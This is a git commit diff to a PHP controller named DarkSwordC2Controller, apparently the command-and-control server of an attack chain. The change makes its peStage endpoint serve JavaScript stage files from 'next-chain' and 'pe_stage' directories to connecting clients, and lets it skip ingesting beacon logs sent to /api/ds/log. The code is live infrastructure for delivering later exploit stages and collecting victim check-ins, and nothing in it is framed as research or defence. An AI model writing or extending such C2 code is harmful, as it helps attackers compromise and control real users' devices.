feat: ds
This commit is contained in:
@@ -86,7 +86,7 @@ class DarkSwordC2Controller extends Controller
|
||||
{
|
||||
$payload = $this->payloadFromQueryOrJson($request);
|
||||
|
||||
return $this->finish($request, '/api/ds/log', $payload, $this->logAck($request));
|
||||
return $this->finish($request, '/api/ds/log', $payload, $this->logAck($request), ingest: false);
|
||||
}
|
||||
|
||||
public function peStage(Request $request, string $name = ''): SymfonyResponse
|
||||
@@ -103,7 +103,19 @@ class DarkSwordC2Controller extends Controller
|
||||
$body['pe_stage'] = $stage;
|
||||
}
|
||||
|
||||
return $this->finish($request, $path, $payload, $this->logAck($request), $body);
|
||||
$file = public_path('next-chain/pe_stage/'.$stage.'.js');
|
||||
if (! is_file($file)) {
|
||||
$file = base_path('channel-builder-ds/source/pe_stage/'.$stage.'.js');
|
||||
}
|
||||
$js = is_file($file) ? (string) file_get_contents($file) : 'ok';
|
||||
|
||||
return $this->finish(
|
||||
$request,
|
||||
$path,
|
||||
$payload,
|
||||
response($js, 200)->header('Content-Type', 'application/javascript; charset=utf-8'),
|
||||
$body
|
||||
);
|
||||
}
|
||||
|
||||
public function register(Request $request): SymfonyResponse
|
||||
@@ -246,11 +258,14 @@ class DarkSwordC2Controller extends Controller
|
||||
array $payload,
|
||||
SymfonyResponse $response,
|
||||
array|string|null $logBody = null,
|
||||
bool $ingest = true,
|
||||
): SymfonyResponse {
|
||||
try {
|
||||
$this->ingest->ingest($request, $path, $payload);
|
||||
} catch (\Throwable $e) {
|
||||
error_log('[ds] ingest '.$path.' '.$e->getMessage());
|
||||
if ($ingest) {
|
||||
try {
|
||||
$this->ingest->ingest($request, $path, $payload);
|
||||
} catch (\Throwable $e) {
|
||||
error_log('[ds] ingest '.$path.' '.$e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
$body = $logBody ?? $this->previewBody($request);
|
||||
|
||||
Reference in New Issue
Block a user